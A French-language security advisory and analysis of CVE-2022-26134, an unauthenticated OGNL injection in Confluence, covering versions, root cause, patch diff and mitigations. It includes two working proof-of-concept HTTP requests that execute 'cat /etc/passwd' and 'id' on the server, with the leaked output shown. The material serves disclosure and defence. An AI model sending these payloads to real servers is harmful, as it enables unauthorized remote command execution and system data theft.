
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
[CVE-2022-26134] Injection sans authentification dans le langage de navigation dans le graphe d'objets (OGNL) de Confluence
Confluence est un produit de collaboration pour espaces de travail basé sur le Web, développé par Atlassian. Il peut être déployé sur site ou dans le cadre d'Atlassian Cloud. Il se compose de 3 fonctionnalités clés : page, espace et arborescence de pages.
Le 2 juin 2022 à 20:00 UTC, Atlassian a publié un avis de sécurité concernant une vulnérabilité d'exécution de code à distance (RCE) affectant les produits Confluence Server et Confluence Data Center. Vous trouverez des informations détaillées sur la vulnérabilité CVE-2022-26134 ci-dessous.
Résumé : CVE-2022-26134 - Vulnérabilité critique d'exécution de code à distance sans authentification dans Confluence Server et Data Center
Date de publication de l'avis : 02 juin 2022
Produits concernés : Confluence Server et Confluence Data Center
Versions concernées : Toutes les versions prises en charge de Confluence Server et Data Center sont concernées. Les versions de Confluence Server et Data Center postérieures à 1.3.0 sont concernées.
Versions corrigées : 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 et 7.18.1
Identifiant(s) CVE : CVE-2022-26134 Injection sans authentification dans le langage de navigation dans le graphe d'objets (OGNL) de Confluence
Preuve de concept : Exemple de requête 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Réponse 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

Preuve de concept : Exemple de requête 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Réponse 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
Comment fonctionne la vulnérabilité ?
La chaîne /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ dans l'URL est analysée par Confluence comme un namespace. Ensuite, le code utilise translateVariables (qui fait partie des utilitaires d'analyse de texte de Confluence) sur ce namespace. Comme translateVariables utilise OGNL, l'attaque sera analysée et évaluée.
La méthode findValue(str) de OgnlValueStack est importante, car elle constitue le point de départ de l'évaluation de l'expression OGNL. Comme vous pouvez le voir dans l'extrait ci-dessous, TextParseUtil.class invoque OgnlValueStack.findValue lorsque cette vulnérabilité est exploitée.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class appelle TextParseUtil.translateVariables en utilisant this.namespace comme expression fournie :
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Où namespace est créé à partir de la chaîne URI de la requête dans com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath :
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
Il en résulte que l'URI fournie par l'attaquant sera traduite en un namespace, qui finira par se retrouver dans une évaluation d'expression OGNL. Dans l'ensemble, cela ressemble beaucoup à CVE-2018-11776, la vulnérabilité d'injection OGNL dans le namespace d'Apache Struts2.
Analyse du correctif
Atlassian a invité les clients à remplacer xwork-1.0.3.6.jar par le xwork-1.0.3-atlassian-10.jar, récemment publié. Les JAR xwork contiennent les classes ActionChainResult.class et TextParseUtil.class que nous avons identifiées comme étant le chemin vers l'évaluation des expressions OGNL.
Le correctif apporte un certain nombre de petites modifications pour corriger ce problème. Notamment, namespace n'est plus transmis à TextParseUtil.translateVariables depuis ActionChainResult.execute :
Avant
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Après
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
Grâce à la sortie de la commande git diff, vous pouvez voir les différences avant et après le correctif au niveau de ActionChainResult.class dans la capture d'écran ci-dessous. (copié depuis l'article de blog Datalog)
Atlassian a également ajouté SafeExpressionUtil.class au xworks jar. SafeExpressionUtil.class fournit un filtrage des expressions non sûres, et a été inséré dans OgnlValueStack.class afin d'examiner les expressions lorsque findValue est invoqué. Par exemple :
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
Que peuvent faire les organisations pour se protéger contre cette vulnérabilité ?
Un correctif étant désormais disponible, veuillez mettre à niveau vers une version corrigée de Confluence. Si l'application du correctif n'est pas possible pour le moment, Atlassian a fourni des instructions de contournement temporaires pour les clients, en fonction de leurs versions de Confluence. Les deux nécessitent d'arrêter temporairement Confluence pendant l'application des mesures d'atténuation. Pour plus d'informations, veuillez vous référer aux recommandations spécifiques de l'avis Atlassian :
Pour plus d'informations sur la remédiation de cette vulnérabilité, veuillez consulter les ressources suivantes :